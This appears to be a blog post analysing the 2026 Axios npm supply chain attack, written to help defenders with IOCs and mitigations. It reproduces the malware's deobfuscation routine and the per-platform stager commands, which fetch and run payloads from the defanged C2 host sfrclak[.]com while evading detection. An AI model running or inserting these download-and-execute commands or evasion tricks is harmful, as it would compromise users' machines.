April 20, 2026
A Technical Breakdown of the Axios Supply Chain Attack
You’ve likely seen alerts on Axios compromise, which was a supply chain attack, think of it like poisoning a city’s water supply which…

By Harsh Vardhan Singh
8 min read
You've likely seen alerts on Axios compromise, which was a supply chain attack, think of it like poisoning a city's water supply which serves a lot of different homes, so it affects subsequent homes automatically. With 100M+ weekly downloads, Axios is like a reservoir of the JS ecosystem. By poisoning one trusted component early in the supply chain, countless downstream apps and users were silently impacted.
According to forensics, first confirmed infection was within 89 secs after axios@1.14.1 & axios@0.30.4 were published. And these malicious versions were live for 3 hours before being taken down, affecting nearly 600K to 1M projects worldwide. Axios being a "Tier 0" dependency, is foundation of so many notable projects, including ecosystems like Strapi, AdonisJS and AI Gateways like OpenClaw_(@shadanai/openclaw)_ which got affected.
Table of Contents** -** Backstory : The Staged Hijack
- The Ghost Commit (Registry vs. Repository)
- Forensic Payload Analysis — The Setup.js (Obfuscation Layers) — Getting the Malware (C2 Beaconing) — How the RAT Goes Custom — Unified RAT framework of WAVESHAPER.V2 — The Anti-Forensic Exit (Manifest Forgery)
- Indicators of Compromise (IOCs)
- Future Proofing Against such Attacks
- References
Backstory : The Staged Hijack
On March 31, 2026, Axios registry was compromised via an account takeover targeting a lead maintainer. The attackers bypassed the Github OIDC by leveraging a compromised long-lived classic access token to publish to the registry. The maintainer jasonsaayman later confirmed that the access was taken by a targeted social engineering campaign and a RAT malware. The attack was in two phases after this:
-
Pre-Staging: publishing of plain-crypto-js@4.2.0, 18 hours earlier as clean decoy to establish age in registry, this was a direct copy of existing crypto-js.
-
The Pivot: publishing of poisoned axios@1.14.1 (latest) & axios@0.30.4 (legacy) manifests.
These versions didn't contain malicious code in source directly but rather in a phantom dependency plain-crypto-js@4.2.1 which included a postinstall script that triggered WAVESHAPER.V2, a remote access trojan (RAT) backdoor.
The Ghost Commit
The change was not made in the main Axios source code, rather an extra malicious dependency was added and pushed directly to the npm registry without Git tracking. This is possible due to how npm publish works, it takes all of the files specified for publishing from the local repo, bundles them into a tarball (.tgz) and uploads it to the registry directly.
Loophole is that, npm does not check if files match the Github version or not, so these changes were not tracked. So, any system running npm install while the malicious version was live got affected instantly.
Forensic Payload Analysis
The Setup.js
The postinstall script from the malicious dependency was setup.js, a 4,209-byte file that used two layer obfuscation;
-
Hardcoded Key: using
org="OrDeR_7077"to encode setup.js, so as to be safe from standard security scanner which look for suspicious strings in code. It was hardcoded as the script had to run immediately after download, with no reliance on server-side key. The key "OrDeR_7077" also exploited how JavaScript handles types, as key was passed byNumber()which treats chars like 'O' or 'r' asNaNand further bitwise XOR making them 0. Resulting in an effective key of[0,0,0,0,0,0,7,0,7,7]to trick security researchers. -
Reverse-Base64: It was then Base64 encoded and reversed alongside replacing "=" with "_". Done for same reason of getting away from standard auto detection tools, as they commonly look for Base64 like patterns. This shows it takes multiple layers of masking to bypass basic security tools.
// Deobfuscation functions (reconstructed) {source: socket.dev}
const _trans_1 = function(x, r) {
const E = r.split("").map(Number);
return x.split("").map((x, r) => {
const S = x.charCodeAt(0), a = E[7 * r * r % 10];
return String.fromCharCode(S ^ a ^ 333);
}).join("");
};
const _trans_2 = function(x, r) {
let E = x.split("").reverse().join("").replaceAll("_", "=");
let S = Buffer.from(E, "base64").toString("utf8");
return _trans_1(S, r);
};
const ord = "OrDeR_7077";// Deobfuscation functions (reconstructed) {source: socket.dev}
const _trans_1 = function(x, r) {
const E = r.split("").map(Number);
return x.split("").map((x, r) => {
const S = x.charCodeAt(0), a = E[7 * r * r % 10];
return String.fromCharCode(S ^ a ^ 333);
}).join("");
};
const _trans_2 = function(x, r) {
let E = x.split("").reverse().join("").replaceAll("_", "=");
let S = Buffer.from(E, "base64").toString("utf8");
return _trans_1(S, r);
};
const ord = "OrDeR_7077";Getting the Malware
After deobfuscation, setup.js detects the system via os.platform() and connects to sfrclak[.]com:8000 by making POST request with a spoofed body mimicking legitimate npm traffic. The script formats the data payload to look like a standard npm package fetch. The format was packages.npm.org/product[0-2] intentionally resembling internal npm registry endpoints mapping macOS, Windows, and Linux to indices 0, 1, and 2 respectively for targeted payload delivery. This is effective because deep packet inspection systems may classify traffic as safe if it contains trusted patterns like "packages.npm.org" in the body.
To note, the malware used a POST request instead of a GET request to fetch the payload. This is to avoid exposing sensitive data in the URL and reducing detection risk, as firewalls and proxies often log full GET URLs but not POST bodies.
How the RAT Goes Custom
RAT stands for Remote Access Trojan, here in this case it is the system specific payload which was downloaded after the POST request. The execution for each system was as follows;
1. macOS: The stager writes an AppleScript in a temporary location, and runs it silently by nohup osascript ...& that also allows it to run even after the terminal session is closed. The script POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033 that downloads a binary file to /Library/Caches/com.apple.act.mond and applies chmod 770 to that file, so that only owner and group can access the file but no other user on system. Then its executed in /bin/zsh and script is deleted afterwards.
sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond &&
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &>
/dev/null'sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond &&
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &>
/dev/null'2. Windows: The stager copies the Windows PowerShell binary powershell.exe to data heavy temporary location %PROGRAMDATA%\wt.exe with renaming to disguise it as the Windows Terminal application. It was an attempt to be invisible to EDR systems (Endpoint Detection & Response). This works as most EDRs are tuned to flag suspicious tasks from binaries like powershell.exe whereas windows terminal, even if making network calls or writing files to %PROGRAMDATA% is considered routine update or background process. And placing it in %PROGRAMDATA% instead of Downloads folder makes it accessible to all users plus automated scanners do skip heavy directories like this on routine scans.
Then it writes a VBScript in %TEMP% and executes it via cscript//nologo which is a cli instruction to run scripts using console base script host while hiding copyright, version info or any other user facing windows. On running it makes a POST to packages.npm.org/product1 on hxxp://sfrclak[.]com:8000/6202033 to download secondary RAT which then saves the response to a temp.ps1, executes it with hidden window and execution-policy bypass, then deletes itself in an attempt to leave no forensic trace.
"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1"
"hxxp://sfrclak[.]com:8000/6202033" >
"C:\Users\<user>\AppData\Local\Temp\6202033.ps1" &
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file
"C:\Users\<user>\AppData\Local\Temp\6202033.ps1"
"hxxp://sfrclak[.]com:8000/6202033" & del
"C:\Users\<user>\AppData\Local\Temp\6202033.ps1" /f
</user></user></user>"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1"
"hxxp://sfrclak[.]com:8000/6202033" >
"C:\Users\<user>\AppData\Local\Temp\6202033.ps1" &
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file
"C:\Users\<user>\AppData\Local\Temp\6202033.ps1"
"hxxp://sfrclak[.]com:8000/6202033" & del
"C:\Users\<user>\AppData\Local\Temp\6202033.ps1" /f
</user></user></user>3. Linux: The stager uses the Node.js execSync command to download a Python RAT script to /tmp/ld.py, runs it in the background using the nohup command, while suppressing output via > /dev/null 2>&1
/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &"/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &"For a deeper dive into the code across all three systems, refer to the OX Security blog (reference).
Unified RAT framework of WAVESHAPER.V2
Though all three payloads were in different languages like C++, PowerShell and Python, they all share a similar framework of WAVESHAPER, a C++ native backdoor used to connect to the C2 server. Regardless of the OS, the malware beacons to C2 server every 60 seconds, consisting of Base64-encoded JSON data and uses a hard coded user agent string mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) spoofing an Internet Explorer 8 on Windows XP. Further, the server response defines next step for the RAT, it supports following commands;
kill: terminates malware execution processrundir: retrieves detailed directory listings, including file paths, sizes, and creation/modification timestamps for specified paths.runscript: runs shell/scriptpeinject: drops, decodes and execute arbitrary binary payloads
So overall, this RAT can perform Reconnaissance, extracting system telemetry (hostname, username, boot time, time zone, OS version & running process lists) & Command Execution, supporting execution methods like in memory portable execution injection and arbitrary shell commands which executes scripts with C2 based parameters, along with File System Enumeration, returning detailed metadata for requested targeted directories.
The Anti-Forensic Exit
The setup.js used fs.unlinkSync(__filename) to delete itself immediately after executing the second stage RAT, its a Node.js command which deletes file permanently, __filename provides absolute path of current module, Sync makes sure to block code execution until file deleted fully, though any existing code running in memory continues without being affected. This technique creates discrepancy during investigations as live memory analysis (e.g: using netstat) might show an active network connection and a running Node.js process while a file system check shows no corresponding setup.js file on disk.
Then comes a package.json swap, to bypass static analysis and prevent manual inspection of node_modules from triggering alerts, as if later the malicious package.json is found then its clear machine was infected. So, the malware contains a clean package.md matching older version like 4.2.0, which it renames to package.json after deleting actual package.json (the one with postinstall). So, if any developer inspects package.json it will appear fully normal, without any malicious dependencies.
Indicators of Compromise (IOCs)
Malicious Packages
- axios (v0.30.4, 1.14.1)
- plain-crypto-js (v4.2.0, 4.2.1)
- @shadanai/openclaw (v2026.3.28–2, 2026.3.28–3, 2026.3.31–1, 2026.3.31–2)
- @qqbrowser/openclaw-qbot (v0.0.130)
Network Indicators
- C2 IP:
142.11.206.73 - C2 URL:
http://sfrclak[.]com:8000/6202033 - POST body (macOS):
packages[.]npm[.]org/product0~ - POST body (Windows):
packages[.]npm[.]org/product1 - POST body (Linux):
packages[.]npm[.]org/product2
File System
- /Library/Caches/com.apple.act.mond : macOS payload
%PROGRAMDATA%\wt.exe: renamed copy ofpowershell.exe(Windows)%TEMP%\6202033.vbs: VBScript launcher (Windows, self-deletes)%TEMP%\6202033.ps1: PowerShell payload (Windows, self-deletes)/tmp/ld.py: Python payload (Linux)$TMPDIR/6202033: temp file (all platforms)
Future Proofing Against such Attacks
- Set
npm config set min-release-age 3to enforce a 72 hour quarantine on new package versions, so malicious dependencies dont reach your machine. Its effective as the malicious version of axios was removed within 3 hours of being live. - Pin your Tier-0 dependencies to exact versions instead of using ^ or ~, to prevent automatic updates.
- Use
npm ciin CI/CD, as it strictly installs exact dependencies from lock file, i.e. ifpackage.json&package-lock.jsonhave mismatched dependencies, it will throw an error, instead of updating lockfile, which would have happened withnpm i. - 2FA is not enough, implement OIDC Trusted Publishing for npm publishing or use Hardware Security Keys.
- Move credentials from local
.envfiles into a centralized manager like HashiCorp Vault or AWS Secrets Manager, outside the dev environment. - Deploy an EDR solution on dev workstations to monitor processes.
- You can use packages like @aikidosec/safe-chain, which acts as a local proxy, by default blocks installation of newer packages (<48h live) for
npmand supports CI/CD integration. - Or use
buninstead ofnpmas package manager, as it has stricter handling of postinstall scripts, with trusted dependency allowlist. It also has a built in security scanner, when configured runs on every install.
References
Post Mortem: axios npm supply chain compromise · Issue #10636 · axios/axios Post Mortem: axios npm supply chain compromise Date: March 31, 2026 Author: Jason Saayman Status: Remediation in…
Supply-Chain Compromise of axios npm Package | Huntress An NPM supply chain attack struck the ubiquitous open-source axios library and Huntress has observed over a hundred…
Supply Chain Attack on Axios Pulls Malicious Dependency from... A supply chain attack on Axios introduced a malicious dependency, plain-crypto-js@4.2.1, published minutes earlier and…
Axios Compromised With A Malicious Dependency - OX Security Attackers Compromised Axios, NPM Package With Over 100M Weekly Downloads, Rotate Your Keys Now Breaking News: Axios…
North Korea-Nexus Threat Actor Compromises Widely Used Axios NPM Package in Supply Chain Attack |… A North Korea-nexus threat actor targeted the popular axios NPM package in a massive supply chain attack.
Mitigating the Axios npm supply chain compromise | Microsoft Security Blog On March 31, 2026, the popular HTTP client Axios experienced a supply chain attack, causing two newly published npm…
Threat Brief: Widespread Impact of the Axios Supply Chain Attack Unit 42 discusses the supply chain attack targeting Axios. Learn about the full attack chain, from the dropper to…
axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Hijacked maintainer account used to publish poisoned axios releases including 1.14.1 and 0.30.4. The attacker injected…